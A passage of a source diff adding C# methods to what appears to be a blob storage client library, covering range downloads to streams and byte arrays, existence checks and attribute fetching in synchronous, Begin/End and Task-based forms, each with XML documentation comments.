+        /// <param name="length">The length of the data to download from the blob, in bytes.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginDownloadRangeToStream(Stream target, long? offset, long? length, AsyncCallback callback, object state)
+        {
+            return this.BeginDownloadRangeToStream(target, offset, length, null /* accessCondition */, null /* options */, null /* operationContext */, callback, state);
+        }
+
+        /// <summary>
+        /// Begins an asynchronous operation to download a range of bytes from a blob to a stream.
+        /// </summary>
+        /// <param name="target">A <see cref="System.IO.Stream"/> object representing the target stream.</param>
+        /// <param name="offset">The offset at which to begin downloading the blob, in bytes.</param>
+        /// <param name="length">The length of the data to download from the blob, in bytes.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginDownloadRangeToStream(Stream target, long? offset, long? length, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, AsyncCallback callback, object state)
+        {
+            return this.BeginDownloadRangeToStream(target, offset, length, accessCondition, options, operationContext, null /*progressHandler*/, callback, state);
+        }
+
+        /// <summary>
+        /// Begins an asynchronous operation to download a range of bytes from a blob to a stream.
+        /// </summary>
+        /// <param name="target">A <see cref="System.IO.Stream"/> object representing the target stream.</param>
+        /// <param name="offset">The offset at which to begin downloading the blob, in bytes.</param>
+        /// <param name="length">The length of the data to download from the blob, in bytes.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="progressHandler"> An <see cref="IProgress"/> object to gather progress deltas.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        private ICancellableAsyncResult BeginDownloadRangeToStream(Stream target, long? offset, long? length, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, IProgress<StorageProgress> progressHandler, AsyncCallback callback, object state)
+        {
+            return CancellableAsyncResultTaskWrapper.Create(token => this.DownloadRangeToStreamAsync(target, offset, length, accessCondition, options, operationContext, progressHandler, token), callback, state);
+        }
+
+        /// <summary>
+        /// Ends an asynchronous operation to download a range of bytes from a blob to a stream.
+        /// </summary>
+        /// <param name="asyncResult">An <see cref="IAsyncResult"/> that references the pending asynchronous operation.</param>
+        public virtual void EndDownloadRangeToStream(IAsyncResult asyncResult)
+        {
+            ((CancellableAsyncResultTaskWrapper)asyncResult).GetAwaiter().GetResult();
+        }
+
+#if TASK
+        /// <summary>
+        /// Initiates an asynchronous operation to download a range of bytes from a blob to a stream.
+        /// </summary>
+        /// <param name="target">A <see cref="System.IO.Stream"/> object representing the target stream.</param>
+        /// <param name="offset">The offset at which to begin downloading the blob, in bytes.</param>
+        /// <param name="length">The length of the data to download from the blob, in bytes.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task DownloadRangeToStreamAsync(Stream target, long? offset, long? length)
+        {
+            return this.DownloadRangeToStreamAsync(target, offset, length, default(AccessCondition), default(BlobRequestOptions), default(OperationContext), AggregatingProgressIncrementer.None, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to download a range of bytes from a blob to a stream.
+        /// </summary>
+        /// <param name="target">A <see cref="System.IO.Stream"/> object representing the target stream.</param>
+        /// <param name="offset">The offset at which to begin downloading the blob, in bytes.</param>
+        /// <param name="length">The length of the data to download from the blob, in bytes.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task DownloadRangeToStreamAsync(Stream target, long? offset, long? length, CancellationToken cancellationToken)
+        {
+            return this.DownloadRangeToStreamAsync(target, offset, length, default(AccessCondition), default(BlobRequestOptions), default(OperationContext), AggregatingProgressIncrementer.None, cancellationToken);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to download a range of bytes from a blob to a stream.
+        /// </summary>
+        /// <param name="target">A <see cref="System.IO.Stream"/> object representing the target stream.</param>
+        /// <param name="offset">The offset at which to begin downloading the blob, in bytes.</param>
+        /// <param name="length">The length of the data to download from the blob, in bytes.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task DownloadRangeToStreamAsync(Stream target, long? offset, long? length, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext)
+        {
+            return this.DownloadRangeToStreamAsync(target, offset, length, accessCondition, options, operationContext, AggregatingProgressIncrementer.None, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to download a range of bytes from a blob to a stream.
+        /// </summary>
+        /// <param name="target">A <see cref="System.IO.Stream"/> object representing the target stream.</param>
+        /// <param name="offset">The offset at which to begin downloading the blob, in bytes.</param>
+        /// <param name="length">The length of the data to download from the blob, in bytes.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task DownloadRangeToStreamAsync(Stream target, long? offset, long? length, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, CancellationToken cancellationToken)
+        {
+            return this.DownloadRangeToStreamAsync(target, offset, length, accessCondition, options, operationContext, AggregatingProgressIncrementer.None, cancellationToken);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to download a range of bytes from a blob to a stream.
+        /// </summary>
+        /// <param name="target">A <see cref="System.IO.Stream"/> object representing the target stream.</param>
+        /// <param name="offset">The offset at which to begin downloading the blob, in bytes.</param>
+        /// <param name="length">The length of the data to download from the blob, in bytes.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="progressHandler"> A <see cref="System.IProgress{StorageProgress}"/> object to handle <see cref="StorageProgress"/> messages.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task DownloadRangeToStreamAsync(Stream target, long? offset, long? length, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, IProgress<StorageProgress> progressHandler, CancellationToken cancellationToken)
+        {
+            return this.DownloadRangeToStreamAsync(target, offset, length, accessCondition, options, operationContext, new AggregatingProgressIncrementer(progressHandler), cancellationToken);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to download a range of bytes from a blob to a stream.
+        /// </summary>
+        /// <param name="target">A <see cref="System.IO.Stream"/> object representing the target stream.</param>
+        /// <param name="offset">The offset at which to begin downloading the blob, in bytes.</param>
+        /// <param name="length">The length of the data to download from the blob, in bytes.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="progressIncrementer"> A <see cref="AggregatingProgressIncrementer"/> object to handle <see cref="StorageProgress"/> messages.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        private Task DownloadRangeToStreamAsync(Stream target, long? offset, long? length, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, AggregatingProgressIncrementer progressIncrementer, CancellationToken cancellationToken)
+        {
+            CommonUtility.AssertNotNull("target", target);
+
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            return Executor.ExecuteAsync(
+                this.GetBlobImpl(this.attributes, progressIncrementer.CreateProgressIncrementingStream(target), offset, length, accessCondition, modifiedOptions),
+                modifiedOptions.RetryPolicy,
+                operationContext,
+                cancellationToken);
+        }
+#endif
+
+#if SYNC
+        /// <summary>
+        /// Downloads a range of bytes from a blob to a byte array.
+        /// </summary>
+        /// <param name="target">The target byte array.</param>
+        /// <param name="index">The starting offset in the byte array.</param>
+        /// <param name="blobOffset">The starting offset of the data range, in bytes.</param>
+        /// <param name="length">The length of the data to download from the blob, in bytes.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request. If <c>null</c>, default options are applied to the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>The total number of bytes read into the buffer.</returns>
+        [DoesServiceRequest]
+        public virtual int DownloadRangeToByteArray(byte[] target, int index, long? blobOffset, long? length, AccessCondition accessCondition = null, BlobRequestOptions options = null, OperationContext operationContext = null)
+        {
+            using (SyncMemoryStream stream = new SyncMemoryStream(target, index))
+            {
+                this.DownloadRangeToStream(stream, blobOffset, length, accessCondition, options, operationContext);
+                return (int)stream.Position;
+            }
+        }
+#endif
+
+        /// <summary>
+        /// Begins an asynchronous operation to download a range of bytes from a blob to a byte array.
+        /// </summary>
+        /// <param name="target">The target byte array.</param>
+        /// <param name="index">The starting offset in the byte array.</param>
+        /// <param name="blobOffset">The starting offset of the data range, in bytes.</param>
+        /// <param name="length">The length of the data to download from the blob, in bytes.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginDownloadRangeToByteArray(byte[] target, int index, long? blobOffset, long? length, AsyncCallback callback, object state)
+        {
+            return this.BeginDownloadRangeToByteArray(target, index, blobOffset, length, null /* accesCondition */, null /* options */, null /* operationContext */, callback, state);
+        }
+
+        /// <summary>
+        /// Begins an asynchronous operation to download a range of bytes from a blob to a byte array.
+        /// </summary>
+        /// <param name="target">The target byte array.</param>
+        /// <param name="index">The starting offset in the byte array.</param>
+        /// <param name="blobOffset">The starting offset of the data range, in bytes.</param>
+        /// <param name="length">The length of the data to download from the blob, in bytes.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginDownloadRangeToByteArray(byte[] target, int index, long? blobOffset, long? length, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, AsyncCallback callback, object state)
+        {
+            return this.BeginDownloadRangeToByteArray(target, index, blobOffset, length, accessCondition, options, operationContext, null /*progressHandler*/, callback, state);
+        }
+
+        /// <summary>
+        /// Begins an asynchronous operation to download a range of bytes from a blob to a byte array.
+        /// </summary>
+        /// <param name="target">The target byte array.</param>
+        /// <param name="index">The starting offset in the byte array.</param>
+        /// <param name="blobOffset">The starting offset of the data range, in bytes.</param>
+        /// <param name="length">The length of the data to download from the blob, in bytes.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="progressHandler"> An <see cref="IProgress"/> object to gather progress deltas.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        private ICancellableAsyncResult BeginDownloadRangeToByteArray(byte[] target, int index, long? blobOffset, long? length, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, IProgress<StorageProgress> progressHandler, AsyncCallback callback, object state)
+        {
+            return CancellableAsyncResultTaskWrapper.Create(token => this.DownloadRangeToByteArrayAsync(target, index, blobOffset, length, accessCondition, options, operationContext, token), callback, state);
+        }
+
+        /// <summary>
+        /// Ends an asynchronous operation to download a range of bytes from a blob to a byte array.
+        /// </summary>
+        /// <param name="asyncResult">An <see cref="IAsyncResult"/> that references the pending asynchronous operation.</param>
+        /// <returns>The total number of bytes read into the buffer.</returns>
+        public virtual int EndDownloadRangeToByteArray(IAsyncResult asyncResult)
+        {
+            return ((CancellableAsyncResultTaskWrapper<int>)asyncResult).GetAwaiter().GetResult();
+        }
+
+#if TASK
+        /// <summary>
+        /// Initiates an asynchronous operation to download a range of bytes from a blob to a byte array.
+        /// </summary>
+        /// <param name="target">The target byte array.</param>
+        /// <param name="index">The starting offset in the byte array.</param>
+        /// <param name="blobOffset">The starting offset of the data range, in bytes.</param>
+        /// <param name="length">The length of the data to download from the blob, in bytes.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>int</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<int> DownloadRangeToByteArrayAsync(byte[] target, int index, long? blobOffset, long? length)
+        {
+            return this.DownloadRangeToByteArrayAsync(target, index, blobOffset, length, default(AccessCondition), default(BlobRequestOptions), default(OperationContext), null /*progressHandler*/, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to download a range of bytes from a blob to a byte array.
+        /// </summary>
+        /// <param name="target">The target byte array.</param>
+        /// <param name="index">The starting offset in the byte array.</param>
+        /// <param name="blobOffset">The starting offset of the data range, in bytes.</param>
+        /// <param name="length">The length of the data to download from the blob, in bytes.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>int</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<int> DownloadRangeToByteArrayAsync(byte[] target, int index, long? blobOffset, long? length, CancellationToken cancellationToken)
+        {
+            return this.DownloadRangeToByteArrayAsync(target, index, blobOffset, length, default(AccessCondition), default(BlobRequestOptions), default(OperationContext), null /*progressHandler*/, cancellationToken);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to download a range of bytes from a blob to a byte array.
+        /// </summary>
+        /// <param name="target">The target byte array.</param>
+        /// <param name="index">The starting offset in the byte array.</param>
+        /// <param name="blobOffset">The starting offset of the data range, in bytes.</param>
+        /// <param name="length">The length of the data to download from the blob, in bytes.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>int</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<int> DownloadRangeToByteArrayAsync(byte[] target, int index, long? blobOffset, long? length, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext)
+        {
+            return this.DownloadRangeToByteArrayAsync(target, index, blobOffset, length, accessCondition, options, operationContext, null /*progressHandler*/, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to download a range of bytes from a blob to a byte array.
+        /// </summary>
+        /// <param name="target">The target byte array.</param>
+        /// <param name="index">The starting offset in the byte array.</param>
+        /// <param name="blobOffset">The starting offset of the data range, in bytes.</param>
+        /// <param name="length">The length of the data to download from the blob, in bytes.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>int</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<int> DownloadRangeToByteArrayAsync(byte[] target, int index, long? blobOffset, long? length, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, CancellationToken cancellationToken)
+        {
+            return this.DownloadRangeToByteArrayAsync(target, index, blobOffset, length, accessCondition, options, operationContext, null /*progressHandler*/, cancellationToken);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to download a range of bytes from a blob to a byte array.
+        /// </summary>
+        /// <param name="target">The target byte array.</param>
+        /// <param name="index">The starting offset in the byte array.</param>
+        /// <param name="blobOffset">The starting offset of the data range, in bytes.</param>
+        /// <param name="length">The length of the data to download from the blob, in bytes.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="progressHandler"> A <see cref="System.IProgress{StorageProgress}"/> object to handle <see cref="StorageProgress"/> messages.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>int</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual async Task<int> DownloadRangeToByteArrayAsync(byte[] target, int index, long? blobOffset, long? length, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, IProgress<StorageProgress> progressHandler, CancellationToken cancellationToken)
+        {
+            using (SyncMemoryStream stream = new SyncMemoryStream(target, index))
+            {
+                await this.DownloadRangeToStreamAsync(stream, blobOffset, length, accessCondition, options, operationContext, progressHandler, cancellationToken).ConfigureAwait(false);
+                return (int)stream.Position;
+            }
+        }
+#endif
+
+#if SYNC
+        /// <summary>
+        /// Checks existence of the blob.
+        /// </summary>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request. If <c>null</c>, default options are applied to the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns><c>true</c> if the blob exists.</returns>
+        [DoesServiceRequest]
+        public virtual bool Exists(BlobRequestOptions options = null, OperationContext operationContext = null)
+        {
+            return this.Exists(false, options, operationContext);
+        }
+
+        /// <summary>
+        /// Checks existence of the blob.
+        /// </summary>
+        /// <param name="primaryOnly">If <c>true</c>, the command will be executed against the primary location.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns><c>true</c> if the blob exists.</returns>
+        private bool Exists(bool primaryOnly, BlobRequestOptions options, OperationContext operationContext)
+        {
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            return Executor.ExecuteSync(
+                this.ExistsImpl(this.attributes, modifiedOptions, primaryOnly),
+                modifiedOptions.RetryPolicy,
+                operationContext);
+        }
+#endif
+
+        /// <summary>
+        /// Begins an asynchronous request to check existence of the blob.
+        /// </summary>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginExists(AsyncCallback callback, object state)
+        {
+            return this.BeginExists(null /* options */, null /* operationContext */, callback, state);
+        }
+
+        /// <summary>
+        /// Begins an asynchronous request to check existence of the blob.
+        /// </summary>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginExists(BlobRequestOptions options, OperationContext operationContext, AsyncCallback callback, object state)
+        {
+            return this.BeginExists(false, options, operationContext, callback, state);
+        }
+
+        /// <summary>
+        /// Begins an asynchronous request to check existence of the blob.
+        /// </summary>
+        /// <param name="primaryOnly">If <c>true</c>, the command will be executed against the primary location.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        private ICancellableAsyncResult BeginExists(bool primaryOnly, BlobRequestOptions options, OperationContext operationContext, AsyncCallback callback, object state)
+        {
+            return CancellableAsyncResultTaskWrapper.Create(token => this.ExistsAsync(primaryOnly, options, operationContext, token), callback, state);
+        }
+
+        /// <summary>
+        /// Returns the asynchronous result of the request to check existence of the blob.
+        /// </summary>
+        /// <param name="asyncResult">An <see cref="IAsyncResult"/> that references the pending asynchronous operation.</param>
+        /// <returns><c>true</c> if the blob exists.</returns>
+        public virtual bool EndExists(IAsyncResult asyncResult)
+        {
+            return ((CancellableAsyncResultTaskWrapper<bool>)asyncResult).GetAwaiter().GetResult();
+        }
+
+#if TASK
+        /// <summary>
+        /// Initiates an asynchronous operation to check existence of the blob.
+        /// </summary>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>bool</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<bool> ExistsAsync()
+        {
+            return this.ExistsAsync(false/*primaryOnly*/, default(BlobRequestOptions), default(OperationContext), CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to check existence of the blob.
+        /// </summary>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>bool</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<bool> ExistsAsync(CancellationToken cancellationToken)
+        {
+            return this.ExistsAsync(false/*primaryOnly*/, default(BlobRequestOptions), default(OperationContext), cancellationToken);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to check existence of the blob.
+        /// </summary>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>bool</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<bool> ExistsAsync(BlobRequestOptions options, OperationContext operationContext)
+        {
+            return this.ExistsAsync(false/*primaryOnly*/, options, operationContext, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to check existence of the blob.
+        /// </summary>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>bool</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<bool> ExistsAsync( BlobRequestOptions options, OperationContext operationContext, CancellationToken cancellationToken)
+        {
+            return this.ExistsAsync(false/*primaryOnly*/, options, operationContext, cancellationToken);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to check existence of the blob.
+        /// </summary>
+        /// <param name="primaryOnly">If <c>true</c>, the command will be executed against the primary location.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>bool</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<bool> ExistsAsync(bool primaryOnly, BlobRequestOptions options, OperationContext operationContext, CancellationToken cancellationToken)
+        {
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            return Executor.ExecuteAsync(
+                this.ExistsImpl(this.attributes, modifiedOptions, primaryOnly),
+                modifiedOptions.RetryPolicy,
+                operationContext,
+                cancellationToken);
+        }
+#endif
+
+#if SYNC
+        /// <summary>
+        /// Populates a blob's properties and metadata.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request. If <c>null</c>, default options are applied to the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        [DoesServiceRequest]
+        public virtual void FetchAttributes(AccessCondition accessCondition = null, BlobRequestOptions options = null, OperationContext operationContext = null)
+        {
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            Executor.ExecuteSync(
+                this.FetchAttributesImpl(this.attributes, accessCondition, modifiedOptions),
+                modifiedOptions.RetryPolicy,
+                operationContext);
+        }
+#endif
+
+        /// <summary>
+        /// Begins an asynchronous operation to populate the blob's properties and metadata.
+        /// </summary>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginFetchAttributes(AsyncCallback callback, object state)
+        {
+            return this.BeginFetchAttributes(null /* accessCondition */, null /* options */, null /* operationContext */, callback, state);
+        }
+
+        /// <summary>
+        /// Begins an asynchronous operation to populate the blob's properties and metadata.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginFetchAttributes(AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, AsyncCallback callback, object state)
+        {
+            return CancellableAsyncResultTaskWrapper.Create(token => this.FetchAttributesAsync(accessCondition, options, operationContext, token), callback, state);
+        }
+
+        /// <summary>
+        /// Ends an asynchronous operation to populate the blob's properties and metadata.
+        /// </summary>
